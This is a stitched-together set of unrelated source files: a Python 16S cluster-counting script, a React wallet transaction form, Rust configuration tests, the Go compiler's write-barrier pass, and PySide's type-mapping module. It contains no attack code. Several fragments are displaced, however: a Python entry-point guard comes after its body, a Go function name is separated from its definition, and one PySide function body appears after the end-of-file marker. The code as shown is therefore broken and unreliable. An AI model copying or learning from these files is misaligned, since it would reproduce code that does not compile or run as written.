#!/usr/bin/env python3 ## How many clusters have more than one organisms as it's members import sys import pandas as pd import logging def main(): clstr_table = sys.argv[1] output = sys.argv[2] clstr_df = pd.read_table(clstr_table, header=0) clstr_df["organism"] = clstr_df["id"].apply(lambda x: x.split(":")[2].split("_")[0]) summ_df = clstr_df.groupby("clstr").agg( num_organisms=("organism", pd.Series.nunique), organism_list=("organism", set) ) close_strains = set() for row in summ_df.query("num_organisms > 1").itertuples(index=False): close_strains.update(row.organism_list) logging.info( f"There are {len(close_strains)} strains in the community for which another strain exists with an identical V3-V4 region" ) summ_df["organism_list"] = summ_df["organism_list"].apply( lambda x: "; ".join(set(x)) ) summ_df = summ_df.sort_values("num_organisms", ascending=False) summ_df.to_csv(output)
logging.basicConfig( level=logging.INFO, format="%(asctime)s\t[%(levelname)s]:\t%(message)s", ) main()
if __name__ == "__main__":
index.tsx
import { ErrorFormatter } from 'app/components/ErrorFormatter' import { Box, Button, Form, FormField, TextInput, Text, Layer, Spinner } from 'grommet' import * as React from 'react' import { useEffect, useState } from 'react' import { useTranslation } from 'react-i18next' import { useDispatch, useSelector } from 'react-redux' import { walletActions } from '../../slice' import { selectTransactionStatus } from '../../slice/selectors' export function SendTransaction() { const { t } = useTranslation() const dispatch = useDispatch() const { error, success, isSending } = useSelector(selectTransactionStatus) const [recipient, setRecipient] = useState('') const [amount, setAmount] = useState('') const onSubmit = () => { dispatch(walletActions.sendTransaction({ amount: parseFloat(amount), to: recipient.replaceAll(' ', '') })) } // On successful transaction, clear the fields useEffect(() => { if (success) { setRecipient('') setAmount('') } }, [success]) // Cleanup effect useEffect(() => { return function cleanup() { dispatch(walletActions.clearTransaction()) } }, [dispatch]) return ( <Box border={{ color: 'light-3', size: '1px' }} round="5px" background="white"> {isSending && ( <Layer position="center" responsive={false}> <Box pad="medium" gap="medium" direction="row" align="center"> <Spinner size="medium" /> <Text size="large">{t('account.sendTransaction.sending', 'Sending transaction')}</Text> </Box> </Layer> )} <Form> <Box fill gap="medium" pad="medium"> <FormField htmlFor="recipient-id" name="recipient" label={t('account.sendTransaction.recipient', 'Recipient')} > <TextInput id="recipient-id" name="recipient" value={recipient} placeholder={t('account.sendTransaction.enterAddress', 'Enter an address')} onChange={event => setRecipient(event.target.value)} required /> </FormField> <FormField htmlFor="amount-id" name="amount" label={t('common.amount', 'Amount')}> <TextInput id="amount-id" name="amount" placeholder="0" type="float" min="0" value={amount} onChange={event => setAmount(event.target.value)} required /> </FormField> <Box direction="row" justify="between" margin={{ top: 'medium' }}> <Button type="submit" label={t('account.sendTransaction.send')} style={{ borderRadius: '4px' }} onClick={onSubmit} primary /> </Box> </Box> </Form> {error && ( <Box background="status-error" pad={{ horizontal: 'small', vertical: 'xsmall' }}> <Text weight="bold"> <ErrorFormatter code={error.code} message={error.message} /> </Text> </Box> )} {success && ( <Box background="status-ok" pad={{ horizontal: 'small', vertical: 'xsmall' }}> <Text weight="bold">{t('account.sendTransaction.success', 'Transaction successfully sent')}</Text> </Box> )} </Box>
) }
tests.rs
use CargonautsConfig;
#[test] fn toml_ctor() { assert!(CargonautsConfig::from_toml("[package.metadata.cargonauts]").is_ok()) } #[test] fn with_clients() { const TOML: &'static str = "[package.metadata.cargonauts.clients.foo]\nbar = 0"; let cfg = CargonautsConfig::from_toml(TOML).unwrap(); assert!(cfg.client_cfg("foo").is_some()); }
writebarrier.go
// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package ssa import ( "cmd/compile/internal/types" "cmd/internal/obj" "cmd/internal/src" "strings" ) // needwb returns whether we need write barrier for store op v. // v must be Store/Move/Zero. func needwb(v *Value) bool { t, ok := v.Aux.(*types.Type) if !ok { v.Fatalf("store aux is not a type: %s", v.LongString()) } if !t.HasHeapPointer() { return false } if IsStackAddr(v.Args[0]) { return false // write on stack doesn't need write barrier } return true } // writebarrier pass inserts write barriers for store ops (Store, Move, Zero) // when necessary (the condition above). It rewrites store ops to branches // and runtime calls, like // // if writeBarrier.enabled { // gcWriteBarrier(ptr, val) // Not a regular Go call // } else { // *ptr = val // } // // A sequence of WB stores for many pointer fields of a single type will // be emitted together, with a single branch. func writebarrier(f *Func) { if !f.fe.UseWriteBarrier() { return } var sb, sp, wbaddr, const0 *Value var typedmemmove, typedmemclr, gcWriteBarrier *obj.LSym var stores, after []*Value var sset *sparseSet var storeNumber []int32 for _, b := range f.Blocks { // range loop is safe since the blocks we added contain no stores to expand // first, identify all the stores that need to insert a write barrier. // mark them with WB ops temporarily. record presence of WB ops. nWBops := 0 // count of temporarily created WB ops remaining to be rewritten in the current block for _, v := range b.Values { switch v.Op { case OpStore, OpMove, OpZero: if needwb(v) { switch v.Op { case OpStore: v.Op = OpStoreWB case OpMove: v.Op = OpMoveWB case OpZero: v.Op = OpZeroWB } nWBops++ } } } if nWBops == 0 { continue } if wbaddr == nil { // lazily initialize global values for write barrier test and calls // find SB and SP values in entry block initpos := f.Entry.Pos for _, v := range f.Entry.Values { if v.Op == OpSB { sb = v } if v.Op == OpSP { sp = v } if sb != nil && sp != nil { break } } if sb == nil { sb = f.Entry.NewValue0(initpos, OpSB, f.Config.Types.Uintptr) } if sp == nil { sp = f.Entry.NewValue0(initpos, OpSP, f.Config.Types.Uintptr) } wbsym := f.fe.Syslook("writeBarrier") wbaddr = f.Entry.NewValue1A(initpos, OpAddr, f.Config.Types.UInt32Ptr, wbsym, sb) gcWriteBarrier = f.fe.Syslook("gcWriteBarrier") typedmemmove = f.fe.Syslook("typedmemmove") typedmemclr = f.fe.Syslook("typedmemclr") const0 = f.ConstInt32(f.Config.Types.UInt32, 0) // allocate auxiliary data structures for computing store order sset = f.newSparseSet(f.NumValues()) defer f.retSparseSet(sset) storeNumber = make([]int32, f.NumValues()) } // order values in store order b.Values = storeOrder(b.Values, sset, storeNumber) again: // find the start and end of the last contiguous WB store sequence. // a branch will be inserted there. values after it will be moved // to a new block. var last *Value var start, end int values := b.Values FindSeq: for i := len(values) - 1; i >= 0; i-- { w := values[i] switch w.Op { case OpStoreWB, OpMoveWB, OpZeroWB: start = i if last == nil { last = w end = i + 1 } case OpVarDef, OpVarLive, OpVarKill: continue default: if last == nil { continue } break FindSeq } } stores = append(stores[:0], b.Values[start:end]...) // copy to avoid aliasing after = append(after[:0], b.Values[end:]...) b.Values = b.Values[:start] // find the memory before the WB stores mem := stores[0].MemoryArg() pos := stores[0].Pos bThen := f.NewBlock(BlockPlain) bElse := f.NewBlock(BlockPlain) bEnd := f.NewBlock(b.Kind) bThen.Pos = pos bElse.Pos = pos bEnd.Pos = b.Pos b.Pos = pos // set up control flow for end block bEnd.SetControl(b.Control) bEnd.Likely = b.Likely for _, e := range b.Succs { bEnd.Succs = append(bEnd.Succs, e) e.b.Preds[e.i].b = bEnd } // set up control flow for write barrier test // load word, test word, avoiding partial register write from load byte. cfgtypes := &f.Config.Types flag := b.NewValue2(pos, OpLoad, cfgtypes.UInt32, wbaddr, mem) flag = b.NewValue2(pos, OpNeq32, cfgtypes.Bool, flag, const0) b.Kind = BlockIf b.SetControl(flag) b.Likely = BranchUnlikely b.Succs = b.Succs[:0] b.AddEdgeTo(bThen) b.AddEdgeTo(bElse) // TODO: For OpStoreWB and the buffered write barrier, // we could move the write out of the write barrier, // which would lead to fewer branches. We could do // something similar to OpZeroWB, since the runtime // could provide just the barrier half and then we // could unconditionally do an OpZero (which could // also generate better zeroing code). OpMoveWB is // trickier and would require changing how // cgoCheckMemmove works. bThen.AddEdgeTo(bEnd) bElse.AddEdgeTo(bEnd) // for each write barrier store, append write barrier version to bThen // and simple store version to bElse memThen := mem memElse := mem for _, w := range stores { ptr := w.Args[0] pos := w.Pos var fn *obj.LSym var typ *obj.LSym var val *Value switch w.Op { case OpStoreWB: val = w.Args[1] nWBops-- case OpMoveWB: fn = typedmemmove val = w.Args[1] typ = w.Aux.(*types.Type).Symbol() nWBops-- case OpZeroWB: fn = typedmemclr typ = w.Aux.(*types.Type).Symbol() nWBops-- case OpVarDef, OpVarLive, OpVarKill: } // then block: emit write barrier call switch w.Op { case OpStoreWB, OpMoveWB, OpZeroWB: volatile := w.Op == OpMoveWB && isVolatile(val) if w.Op == OpStoreWB { memThen = bThen.NewValue3A(pos, OpWB, types.TypeMem, gcWriteBarrier, ptr, val, memThen) } else { memThen = wbcall(pos, bThen, fn, typ, ptr, val, memThen, sp, sb, volatile) } // Note that we set up a writebarrier function call. f.fe.SetWBPos(pos) case OpVarDef, OpVarLive, OpVarKill: memThen = bThen.NewValue1A(pos, w.Op, types.TypeMem, w.Aux, memThen) } // else block: normal store switch w.Op { case OpStoreWB: memElse = bElse.NewValue3A(pos, OpStore, types.TypeMem, w.Aux, ptr, val, memElse) case OpMoveWB: memElse = bElse.NewValue3I(pos, OpMove, types.TypeMem, w.AuxInt, ptr, val, memElse) memElse.Aux = w.Aux case OpZeroWB: memElse = bElse.NewValue2I(pos, OpZero, types.TypeMem, w.AuxInt, ptr, memElse) memElse.Aux = w.Aux case OpVarDef, OpVarLive, OpVarKill: memElse = bElse.NewValue1A(pos, w.Op, types.TypeMem, w.Aux, memElse) } } // merge memory // Splice memory Phi into the last memory of the original sequence, // which may be used in subsequent blocks. Other memories in the // sequence must be dead after this block since there can be only // one memory live. bEnd.Values = append(bEnd.Values, last) last.Block = bEnd last.reset(OpPhi) last.Type = types.TypeMem last.AddArg(memThen) last.AddArg(memElse) for _, w := range stores { if w != last { w.resetArgs() } } for _, w := range stores { if w != last { f.freeValue(w) } } // put values after the store sequence into the end block bEnd.Values = append(bEnd.Values, after...) for _, w := range after { w.Block = bEnd } // if we have more stores in this block, do this block again if nWBops > 0 { goto again } } } // wbcall emits write barrier runtime call in b, returns memory. // if valIsVolatile, it moves val into temp space before making the call. func wbcall(pos src.XPos, b *Block, fn, typ *obj.LSym, ptr, val, mem, sp, sb *Value, valIsVolatile bool) *Value { config := b.Func.Config var tmp GCNode if valIsVolatile { // Copy to temp location if the source is volatile (will be clobbered by // a function call). Marshaling the args to typedmemmove might clobber the // value we're trying to move. t := val.Type.ElemType() tmp = b.Func.fe.Auto(val.Pos, t) mem = b.NewValue1A(pos, OpVarDef, types.TypeMem, tmp, mem) tmpaddr := b.NewValue1A(pos, OpAddr, t.PtrTo(), tmp, sp) siz := t.Size() mem = b.NewValue3I(pos, OpMove, types.TypeMem, siz, tmpaddr, val, mem) mem.Aux = t val = tmpaddr } // put arguments on stack off := config.ctxt.FixedFrameSize() if typ != nil { // for typedmemmove taddr := b.NewValue1A(pos, OpAddr, b.Func.Config.Types.Uintptr, typ, sb) off = round(off, taddr.Type.Alignment()) arg := b.NewValue1I(pos, OpOffPtr, taddr.Type.PtrTo(), off, sp) mem = b.NewValue3A(pos, OpStore, types.TypeMem, ptr.Type, arg, taddr, mem) off += taddr.Type.Size() } off = round(off, ptr.Type.Alignment()) arg := b.NewValue1I(pos, OpOffPtr, ptr.Type.PtrTo(), off, sp) mem = b.NewValue3A(pos, OpStore, types.TypeMem, ptr.Type, arg, ptr, mem) off += ptr.Type.Size() if val != nil { off = round(off, val.Type.Alignment()) arg = b.NewValue1I(pos, OpOffPtr, val.Type.PtrTo(), off, sp) mem = b.NewValue3A(pos, OpStore, types.TypeMem, val.Type, arg, val, mem) off += val.Type.Size() } off = round(off, config.PtrSize) // issue call mem = b.NewValue1A(pos, OpStaticCall, types.TypeMem, fn, mem) mem.AuxInt = off - config.ctxt.FixedFrameSize() if valIsVolatile { mem = b.NewValue1A(pos, OpVarKill, types.TypeMem, tmp, mem) // mark temp dead } return mem } // round to a multiple of r, r is a power of 2 func round(o int64, r int64) int64 { return (o + r - 1) &^ (r - 1) } // IsStackAddr returns whether v is known to be an address of a stack slot func
(v *Value) bool { for v.Op == OpOffPtr || v.Op == OpAddPtr || v.Op == OpPtrIndex || v.Op == OpCopy { v = v.Args[0] } switch v.Op { case OpSP: return true case OpAddr: return v.Args[0].Op == OpSP } return false } // IsSanitizerSafeAddr reports whether v is known to be an address // that doesn't need instrumentation. func IsSanitizerSafeAddr(v *Value) bool { for v.Op == OpOffPtr || v.Op == OpAddPtr || v.Op == OpPtrIndex || v.Op == OpCopy { v = v.Args[0] } switch v.Op { case OpSP: // Stack addresses are always safe. return true case OpITab, OpStringPtr, OpGetClosurePtr: // Itabs, string data, and closure fields are // read-only once initialized. return true case OpAddr: switch v.Args[0].Op { case OpSP: return true case OpSB: sym := v.Aux.(*obj.LSym) // TODO(mdempsky): Find a cleaner way to // detect this. It would be nice if we could // test sym.Type==objabi.SRODATA, but we don't // initialize sym.Type until after function // compilation. if strings.HasPrefix(sym.Name, `"".statictmp_`) { return true } } } return false } // isVolatile returns whether v is a pointer to argument region on stack which // will be clobbered by a function call. func isVolatile(v *Value) bool { for v.Op == OpOffPtr || v.Op == OpAddPtr || v.Op == OpPtrIndex || v.Op == OpCopy { v = v.Args[0] } return v.Op == OpSP }
IsStackAddr
mapping.py
############################################################################# ## ## Copyright (C) 2019 The Qt Company Ltd. ## Contact: https://www.qt.io/licensing/ ## ## This file is part of Qt for Python. ## ## $QT_BEGIN_LICENSE:LGPL$ ## Commercial License Usage ## Licensees holding valid commercial Qt licenses may use this file in ## accordance with the commercial license agreement provided with the ## Software or, alternatively, in accordance with the terms contained in ## a written agreement between you and The Qt Company. For licensing terms ## and conditions see https://www.qt.io/terms-conditions. For further ## information use the contact form at https://www.qt.io/contact-us. ## ## GNU Lesser General Public License Usage ## Alternatively, this file may be used under the terms of the GNU Lesser ## General Public License version 3 as published by the Free Software ## Foundation and appearing in the file LICENSE.LGPL3 included in the ## packaging of this file. Please review the following information to ## ensure the GNU Lesser General Public License version 3 requirements ## will be met: https://www.gnu.org/licenses/lgpl-3.0.html. ## ## GNU General Public License Usage ## Alternatively, this file may be used under the terms of the GNU ## General Public License version 2.0 or (at your option) the GNU General ## Public license version 3 or any later version approved by the KDE Free ## Qt Foundation. The licenses are as published by the Free Software ## Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 ## included in the packaging of this file. Please review the following ## information to ensure the GNU General Public License requirements will ## be met: https://www.gnu.org/licenses/gpl-2.0.html and ## https://www.gnu.org/licenses/gpl-3.0.html. ## ## $QT_END_LICENSE$ ## ############################################################################# from __future__ import print_function, absolute_import """ mapping.py This module has the mapping from the pyside C-modules view of signatures to the Python representation. The PySide modules are not loaded in advance, but only after they appear in sys.modules. This minimizes the loading overhead. """ import sys import struct import os from shibokensupport.signature import typing from shibokensupport.signature.typing import TypeVar, Generic from shibokensupport.signature.lib.tool import with_metaclass class ellipsis(object): def __repr__(self): return "..." ellipsis = ellipsis() Point = typing.Tuple[float, float] Variant = typing.Any ModelIndexList = typing.List[int] QImageCleanupFunction = typing.Callable # unfortunately, typing.Optional[t] expands to typing.Union[t, NoneType] # Until we can force it to create Optional[t] again, we use this. NoneType = type(None) _S = TypeVar("_S") MultiMap = typing.DefaultDict[str, typing.List[str]] # ulong_max is only 32 bit on windows. ulong_max = 2*sys.maxsize+1 if len(struct.pack("L", 1)) != 4 else 0xffffffff ushort_max = 0xffff GL_COLOR_BUFFER_BIT = 0x00004000 GL_NEAREST = 0x2600 WId = int # from 5.9 GL_TEXTURE_2D = 0x0DE1 GL_RGBA = 0x1908 class _NotCalled(str): """ Wrap some text with semantics This class is wrapped around text in order to avoid calling it. There are three reasons for this: - some instances cannot be created since they are abstract, - some can only be created after qApp was created, - some have an ugly __repr__ with angle brackets in it. By using derived classes, good looking instances can be created which can be used to generate source code or .pyi files. When the real object is needed, the wrapper can simply be called. """ def __repr__(self): return "{}({})".format(type(self).__name__, self) def __call__(self): from shibokensupport.signature.mapping import __dict__ as namespace text = self if self.endswith(")") else self + "()" return eval(text, namespace) USE_PEP563 = False # Note: we cannot know if this feature has been imported. # Otherwise it would be "sys.version_info[:2] >= (3, 7)". # We *can* eventually inspect sys.modules and look if # the calling module has this future statement set, # but should we do that? # Some types are abstract. They just show their name. class Virtual(_NotCalled): pass # Other types I simply could not find. class Missing(_NotCalled): # The string must be quoted, because the object does not exist. def __repr__(self): if USE_PEP563: return _NotCalled.__repr__(self) return '{}("{}")'.format(type(self).__name__, self) class Invalid(_NotCalled): pass # Helper types class Default(_NotCalled): pass class Instance(_NotCalled): pass # Parameterized primitive variables class _Parameterized(object): def __init__(self, type): self.type = type self.__name__ = self.__class__.__name__ def __repr__(self): return "{}({})".format( type(self).__name__, self.type.__name__) # Mark the primitive variables to be moved into the result. class ResultVariable(_Parameterized): pass # Mark the primitive variables to become Sequence, Iterable or List # (decided in the parser). class ArrayLikeVariable(_Parameterized): pass StringList = ArrayLikeVariable(str) class Reloader(object): """ Reloder class This is a singleton class which provides the update function for the shiboken and PySide classes. """ def __init__(self): self.sys_module_count = 0 @staticmethod def module_valid(mod): if getattr(mod, "__file__", None) and not os.path.isdir(mod.__file__): ending = os.path.splitext(mod.__file__)[-1] return ending not in (".py", ".pyc", ".pyo", ".pyi") return False def update(self): """ 'update' imports all binary modules which are already in sys.modules. The reason is to follow all user imports without introducing new ones. This function is called by pyside_type_init to adapt imports when the number of imported modules has changed. """ if self.sys_module_count == len(sys.modules): return self.sys_module_count = len(sys.modules) g = globals() # PYSIDE-1009: Try to recognize unknown modules in errorhandler.py candidates = list(mod_name for mod_name in sys.modules.copy() if self.module_valid(sys.modules[mod_name])) for mod_name in candidates: # 'top' is PySide2 when we do 'import PySide.QtCore' # or Shiboken if we do 'import Shiboken'. # Convince yourself that these two lines below have the same # global effect as "import Shiboken" or "import PySide2.QtCore". top = __import__(mod_name) g[top.__name__] = top proc_name = "init_" + mod_name.replace(".", "_") if proc_name in g: # Modules are in place, we can update the type_map. g.update(g.pop(proc_name)()) def check_module(mod): # During a build, there exist the modules already as directories, # although the '*.so' was not yet created. This causes a problem # in Python 3, because it accepts folders as namespace modules # without enforcing an '__init__.py'. if not Reloader.module_valid(mod): mod_name = mod.__name__ raise ImportError("Module '{mod_name}' is not a binary module!" .format(**locals())) update_mapping = Reloader().update type_map = {} namespace = globals() # our module's __dict__ type_map.update({ "...": ellipsis, "bool": bool, "char": int, "char*": str, "char*const": str, "double": float, "float": float, "int": int, "List": ArrayLikeVariable, "long": int, "PyCallable": typing.Callable, "PyObject": object, "PySequence": typing.Iterable, # important for numpy "PyTypeObject": type, "QChar": str, "QHash": typing.Dict, "qint16": int, "qint32": int, "qint64": int, "qint8": int, "qintptr": int, "QList": ArrayLikeVariable, "qlonglong": int, "QMap": typing.Dict, "QPair": typing.Tuple, "qptrdiff": int, "qreal": float, "QSet": typing.Set, "QString": str, "QStringList": StringList, "quint16": int, "quint32": int, "quint32": int, "quint64": int, "quint8": int, "quintptr": int, "qulonglong": int, "QVariant": Variant, "QVector": typing.List, "QSharedPointer": typing.Tuple, "real": float, "short": int, "signed char": int, "signed long": int, "std.list": typing.List, "std.map": typing.Dict, "std.pair": typing.Tuple, "std.vector": typing.List, "str": str, "true": True, "Tuple": typing.Tuple, "uchar": int, "uchar*": str, "uint": int, "ulong": int, "ULONG_MAX": ulong_max, "unsigned char": int, # 5.9 "unsigned char*": str, "unsigned int": int, "unsigned long int": int, # 5.6, RHEL 6.6 "unsigned long long": int, "unsigned long": int, "unsigned short int": int, # 5.6, RHEL 6.6 "unsigned short": int, "Unspecified": None, "ushort": int, "void": int, # be more specific? "WId": WId, "zero(bytes)": b"", "zero(Char)": 0, "zero(float)": 0, "zero(int)": 0, "zero(object)": None, "zero(str)": "", "zero(typing.Any)": None, "zero(Any)": None, }) type_map.update({ # Handling variables declared as array: "array double*" : ArrayLikeVariable(float), "array float*" : ArrayLikeVariable(float), "array GLint*" : ArrayLikeVariable(int), "array GLuint*" : ArrayLikeVariable(int), "array int*" : ArrayLikeVariable(int), "array long long*" : ArrayLikeVariable(int), "array long*" : ArrayLikeVariable(int), "array short*" : ArrayLikeVariable(int), "array signed char*" : bytes, "array unsigned char*" : bytes, "array unsigned int*" : ArrayLikeVariable(int), "array unsigned short*" : ArrayLikeVariable(int), }) type_map.update({ # Special cases: "char*" : bytes, "QChar*" : bytes, "quint32*" : int, # only for QRandomGenerator "quint8*" : bytearray, # only for QCborStreamReader and QCborValue "uchar*" : bytes, "unsigned char*": bytes, }) type_map.update({ # Handling variables that are returned, eventually as Tuples: "bool*" : ResultVariable(bool), "float*" : ResultVariable(float), "int*" : ResultVariable(int), "long long*" : ResultVariable(int), "long*" : ResultVariable(int), "PStr*" : ResultVariable(str), # module sample "qint32*" : ResultVariable(int), "qint64*" : ResultVariable(int), "qreal*" : ResultVariable(float), "QString*" : ResultVariable(str), "quint16*" : ResultVariable(int), "uint*" : ResultVariable(int), "unsigned int*" : ResultVariable(int), "QStringList*" : ResultVariable(StringList), }) # PYSIDE-1328: We need to handle "self" explicitly. type_map.update({ "self" : "self", }) # The Shiboken Part def init_Shiboken(): type_map.update({ "PyType": type, "shiboken2.bool": bool, "size_t": int, }) return locals() def init_minimal(): type_map.update({ "MinBool": bool, }) return locals() def init_sample(): import datetime type_map.update({ "char": int, "char**": typing.List[str], "Complex": complex, "double": float, "Foo.HANDLE": int, "HANDLE": int, "Null": None, "nullptr": None, "ObjectType.Identifier": Missing("sample.ObjectType.Identifier"), "OddBool": bool, "PStr": str, "PyDate": datetime.date, "sample.bool": bool, "sample.char": int, "sample.double": float, "sample.int": int, "sample.ObjectType": object, "sample.OddBool": bool, "sample.Photon.TemplateBase[Photon.DuplicatorType]": sample.Photon.ValueDuplicator, "sample.Photon.TemplateBase[Photon.IdentityType]": sample.Photon.ValueIdentity, "sample.Point": Point, "sample.PStr": str, "sample.unsigned char": int, "std.size_t": int, "std.string": str, "ZeroIn": 0, 'Str("<unk")': "<unk", 'Str("<unknown>")': "<unknown>", 'Str("nown>")': "nown>", }) return locals() def init_other(): import numbers type_map.update({ "other.ExtendsNoImplicitConversion": Missing("other.ExtendsNoImplicitConversion"), "other.Number": numbers.Number, }) return locals() def init_smart(): # This missing type should be defined in module smart. We cannot set it to Missing() # because it is a container type. Therefore, we supply a surrogate: global SharedPtr class SharedPtr(Generic[_S]): __module__ = "smart" smart.SharedPtr = SharedPtr type_map.update({ "smart.Smart.Integer2": int, }) return locals() # The PySide Part def init_PySide2_QtCore(): from PySide2.QtCore import Qt, QUrl, QDir from PySide2.QtCore import QRect, QSize, QPoint, QLocale, QByteArray from PySide2.QtCore import QMarginsF # 5.9 try: # seems to be not generated by 5.9 ATM. from PySide2.QtCore import Connection except ImportError: pass type_map.update({ "' '": " ", "'%'": "%", "'g'": "g", "4294967295UL": 4294967295, # 5.6, RHEL 6.6 "CheckIndexOption.NoOption": Instance( "PySide2.QtCore.QAbstractItemModel.CheckIndexOptions.NoOption"), # 5.11 "DescriptorType(-1)": int, # Native handle of QSocketDescriptor "false": False, "list of QAbstractAnimation": typing.List[PySide2.QtCore.QAbstractAnimation], "list of QAbstractState": typing.List[PySide2.QtCore.QAbstractState], "long long": int, "NULL": None, # 5.6, MSVC "nullptr": None, # 5.9 "PyByteArray": bytearray, "PyBytes": bytes, "QDeadlineTimer(QDeadlineTimer.Forever)": Instance("PySide2.QtCore.QDeadlineTimer"), "PySide2.QtCore.QUrl.ComponentFormattingOptions": PySide2.QtCore.QUrl.ComponentFormattingOption, # mismatch option/enum, why??? "PyUnicode": typing.Text, "Q_NULLPTR": None, "QDir.Filters(AllEntries | NoDotAndDotDot)": Instance( "QDir.Filters(QDir.AllEntries | QDir.NoDotAndDotDot)"), "QDir.SortFlags(Name | IgnoreCase)": Instance( "QDir.SortFlags(QDir.Name | QDir.IgnoreCase)"), "QGenericArgument((0))": ellipsis, # 5.6, RHEL 6.6. Is that ok? "QGenericArgument()": ellipsis, "QGenericArgument(0)": ellipsis, "QGenericArgument(NULL)": ellipsis, # 5.6, MSVC "QGenericArgument(nullptr)": ellipsis, # 5.10 "QGenericArgument(Q_NULLPTR)": ellipsis, "QJsonObject": typing.Dict[str, PySide2.QtCore.QJsonValue], "QModelIndex()": Invalid("PySide2.QtCore.QModelIndex"), # repr is btw. very wrong, fix it?! "QModelIndexList": ModelIndexList, "QModelIndexList": ModelIndexList, "QString()": "", "QStringList()": [], "QStringRef": str, "QStringRef": str, "Qt.HANDLE": int, # be more explicit with some constants? "QUrl.FormattingOptions(PrettyDecoded)": Instance( "QUrl.FormattingOptions(QUrl.PrettyDecoded)"), "QVariant()": Invalid(Variant), "QVariant.Type": type, # not so sure here... "QVariantMap": typing.Dict[str, Variant], "QVariantMap": typing.Dict[str, Variant], }) try: type_map.update({ "PySide2.QtCore.QMetaObject.Connection": PySide2.QtCore.Connection, # wrong! }) except AttributeError: # this does not exist on 5.9 ATM. pass return locals() def init_PySide2_QtConcurrent():
def init_PySide2_QtGui(): from PySide2.QtGui import QPageLayout, QPageSize # 5.12 macOS type_map.update({ "0.0f": 0.0, "1.0f": 1.0, "GL_COLOR_BUFFER_BIT": GL_COLOR_BUFFER_BIT, "GL_NEAREST": GL_NEAREST, "int32_t": int, "QPixmap()": Default("PySide2.QtGui.QPixmap"), # can't create without qApp "QPlatformSurface*": int, # a handle "QVector< QTextLayout.FormatRange >()": [], # do we need more structure? "uint32_t": int, "uint8_t": int, "USHRT_MAX": ushort_max, }) return locals() def init_PySide2_QtWidgets(): from PySide2.QtWidgets import QWidget, QMessageBox, QStyleOption, QStyleHintReturn, QStyleOptionComplex from PySide2.QtWidgets import QGraphicsItem, QStyleOptionGraphicsItem # 5.9 type_map.update({ "QMessageBox.StandardButtons(Yes | No)": Instance( "QMessageBox.StandardButtons(QMessageBox.Yes | QMessageBox.No)"), "QWidget.RenderFlags(DrawWindowBackground | DrawChildren)": Instance( "QWidget.RenderFlags(QWidget.DrawWindowBackground | QWidget.DrawChildren)"), "SH_Default": QStyleHintReturn.SH_Default, "SO_Complex": QStyleOptionComplex.SO_Complex, "SO_Default": QStyleOption.SO_Default, "static_cast<Qt.MatchFlags>(Qt.MatchExactly|Qt.MatchCaseSensitive)": Instance( "Qt.MatchFlags(Qt.MatchExactly | Qt.MatchCaseSensitive)"), "Type": PySide2.QtWidgets.QListWidgetItem.Type, }) return locals() def init_PySide2_QtSql(): from PySide2.QtSql import QSqlDatabase type_map.update({ "QLatin1String(defaultConnection)": QSqlDatabase.defaultConnection, "QVariant.Invalid": Invalid("Variant"), # not sure what I should create, here... }) return locals() def init_PySide2_QtNetwork(): from PySide2.QtNetwork import QNetworkRequest best_structure = typing.OrderedDict if getattr(typing, "OrderedDict", None) else typing.Dict type_map.update({ "QMultiMap[PySide2.QtNetwork.QSsl.AlternativeNameEntryType, QString]": best_structure[PySide2.QtNetwork.QSsl.AlternativeNameEntryType, typing.List[str]], "DefaultTransferTimeoutConstant": QNetworkRequest.TransferTimeoutConstant, "QNetworkRequest.DefaultTransferTimeoutConstant": QNetworkRequest.TransferTimeoutConstant, }) del best_structure return locals() def init_PySide2_QtXmlPatterns(): from PySide2.QtXmlPatterns import QXmlName type_map.update({ "QXmlName.NamespaceCode": Missing("PySide2.QtXmlPatterns.QXmlName.NamespaceCode"), "QXmlName.PrefixCode": Missing("PySide2.QtXmlPatterns.QXmlName.PrefixCode"), }) return locals() def init_PySide2_QtMultimedia(): import PySide2.QtMultimediaWidgets # Check if foreign import is valid. See mapping.py in shiboken2. check_module(PySide2.QtMultimediaWidgets) type_map.update({ "QGraphicsVideoItem": PySide2.QtMultimediaWidgets.QGraphicsVideoItem, "qint64": int, "QVideoWidget": PySide2.QtMultimediaWidgets.QVideoWidget, }) return locals() def init_PySide2_QtOpenGL(): type_map.update({ "GLbitfield": int, "GLenum": int, "GLfloat": float, # 5.6, MSVC 15 "GLint": int, "GLuint": int, }) return locals() def init_PySide2_QtQml(): type_map.update({ "QJSValueList()": [], "QVariantHash()": typing.Dict[str, Variant], # from 5.9 }) return locals() def init_PySide2_QtQuick(): type_map.update({ "PySide2.QtQuick.QSharedPointer[PySide2.QtQuick.QQuickItemGrabResult]": PySide2.QtQuick.QQuickItemGrabResult, "UnsignedShortType": int, }) return locals() def init_PySide2_QtScript(): type_map.update({ "QScriptValueList()": [], }) return locals() def init_PySide2_QtTest(): type_map.update({ "PySide2.QtTest.QTest.PySideQTouchEventSequence": PySide2.QtTest.QTest.QTouchEventSequence, "PySide2.QtTest.QTouchEventSequence": PySide2.QtTest.QTest.QTouchEventSequence, }) return locals() # from 5.6, MSVC def init_PySide2_QtWinExtras(): type_map.update({ "QList< QWinJumpListItem* >()": [], }) return locals() # from 5.12, macOS def init_PySide2_QtDataVisualization(): from PySide2.QtDataVisualization import QtDataVisualization QtDataVisualization.QBarDataRow = typing.List[QtDataVisualization.QBarDataItem] QtDataVisualization.QBarDataArray = typing.List[QtDataVisualization.QBarDataRow] QtDataVisualization.QSurfaceDataRow = typing.List[QtDataVisualization.QSurfaceDataItem] QtDataVisualization.QSurfaceDataArray = typing.List[QtDataVisualization.QSurfaceDataRow] type_map.update({ "100.0f": 100.0, "QtDataVisualization.QBarDataArray": QtDataVisualization.QBarDataArray, "QtDataVisualization.QBarDataArray*": QtDataVisualization.QBarDataArray, "QtDataVisualization.QSurfaceDataArray": QtDataVisualization.QSurfaceDataArray, "QtDataVisualization.QSurfaceDataArray*": QtDataVisualization.QSurfaceDataArray, }) return locals() def init_testbinding(): type_map.update({ "testbinding.PySideCPP2.TestObjectWithoutNamespace": testbinding.TestObjectWithoutNamespace, }) return locals() # end of file
type_map.update({ "PySide2.QtCore.QFuture[QString]": PySide2.QtConcurrent.QFutureQString, "PySide2.QtCore.QFuture[void]": PySide2.QtConcurrent.QFutureVoid, }) return locals()
util.py
